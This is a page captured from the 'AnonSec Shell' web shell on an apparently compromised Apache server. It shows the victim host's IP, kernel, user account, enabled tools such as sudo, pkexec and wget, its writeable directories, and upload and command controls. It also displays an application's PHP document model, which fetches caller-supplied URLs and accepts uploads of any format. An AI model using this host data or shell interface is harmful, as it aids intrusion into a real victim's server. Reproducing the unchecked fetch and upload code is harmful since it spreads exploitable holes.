AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/models/DealsDocsModel.php
<?php

include_once __DIR__ . "/../../../autoload/My_Model.php";
include_once __DIR__ . "/../factories/DealsDocsFactory.php";

class DealsDocsModel extends My_Model {

    /**
     * @var string
     */
    public $table = 'module_imobles_deals_docs';

    public function createDocs($data) {
        $doc = self::create();
        DealsDocsFactory::create($data, $doc, true);
        $doc->save();
        if (isset($data['downloadFile'])){
            $fileName = $data['fileName'];
            $fileURL = $data['fileURL'];
            $this->downloadFile($doc, $fileName, $fileURL);
        } else {
            $docs = $this->uploadDoc($doc, true);
        }
        return $docs;
    }

    public function updateDocs($data, $doc) {
        ORM::for_table($this->table)->create($doc);
        DealsDocsFactory::create($data, $doc);
        $doc->save();
        $doc = $this->uploadDoc($doc, false);
        return $doc;
    }

    private function downloadFile($doc, $fileName, $fileURL){
        $file = file_get_contents($fileURL);
        if($file){
            $dir = 'application/plugins/module_imobles/uploads/deals/' . $doc->deal_id . '/';
            if (!is_dir($dir)) {
                mkdir($dir, 0755, true);
            }
            $parts = explode(".", $fileName);
            $ext = strtolower($parts[count($parts)-1]);
            $uploadName =  "_".substr(md5(rand(1111,9999)),0,8)._raid().time().rand(1111,1000).rand(99,9999).".".$ext;
            file_put_contents($dir . "/" . $uploadName, $file);
            $doc->src = $uploadName;
            $doc->name = $fileName;
            $doc->save();
        }
    }

    public function uploadDoc($doc, $remove) {

        if ($_FILES['file'] && !empty($_FILES['file']['name'])) {
            $uploader = new Uploader();
            $dir = 'application/plugins/module_imobles/uploads/deals/' . $doc->deal_id . "/";
            $src_old = $doc->src;

            $uploader->setDir($dir);
            if (!is_dir($dir)) {
                mkdir($dir, 0755, true);
            }
            $uploader->sameName(false);
            $uploader->allowAllFormats();
            $uploader->setMaxSize(20);
            if ($uploader->uploadFile('file')) {
                $uploaded = $uploader->getUploadName();
                $doc->src = $uploaded;
                $doc->name = $uploader->getOldName();
                $doc->save();
                if (!empty($src_old)) {
                    unlink('application/plugins/module_imobles/uploads/deals/' . $doc->deal_id . "/" . $src_old);  //remove
                }
            } else {//upload failed
                if ($remove) {
                    $doc->delete();  //remove o cadastro para dar o erro na tela
                }
                $doc->errorFile = $uploader->getMessage();
            }
        }
        return $doc;
    }

    public function deleteDoc($doc) {
        ORM::for_table($this->table)->create($doc);
        $now = new DateTime('now', new DateTimeZone('America/Sao_Paulo'));
        $user = User::_info();
        $doc->deleted_at = $now->format('Y-m-d H:i:s');
        $doc->deleted_by = $user->id;
        $doc->save();
        return $doc;
    }

}

Anon7 - 2022
AnonSec Team